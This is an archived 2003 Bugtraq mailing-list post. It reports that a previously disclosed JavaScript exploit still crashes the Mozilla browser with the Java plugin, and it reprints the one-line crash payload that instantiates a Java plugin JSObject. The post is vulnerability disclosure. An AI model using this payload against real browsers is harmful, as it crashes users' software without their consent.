[31448] in bugtraq
Crash Mozilla 1.5
daemon@ATHENA.MIT.EDU (Marc Schoenefeld)
Fri Sep 5 18:23:43 2003
Date: Fri, 5 Sep 2003 19:48:55 +0200 (MES)
From: Marc Schoenefeld <schonef@uni-muenster.de>
To: bugtraq@securityfocus.com
Message-ID: <Pine.A41.4.44.0309051940100.92326-100000@zivunix.uni-muenster.de>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Hi,
seems like Mozilla is not interested in fixing bugs,
the exploit I posted in March to bugtraq (described in
http://www.mail-archive.com/bugtraq@securityfocus.com/msg11430.html),
still crashes the actual version 1.4 of the Mozilla Browser:
My version is Gecko/20030624 with Java 1.4.2
The exploit code is:
(scr1pt language="Javascript")
t = new Packages.sun.plugin.javascript.navig5.JSObject(1,1);
(/scr1pt)
Cheers
Marc
- --
Never be afraid to try something new. Remember, amateurs built the
ark; professionals built the Titanic. -- Anonymous
Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org
iD8DBQE/WMyJqCaQvrKNUNQRAkdpAJ9WRQi4u4gilbmzQb9mZNqAowhl+wCdHklB
73WM+1VxoimLo7EkXxUdIkY=
=PNjP
-----END PGP SIGNATURE-----
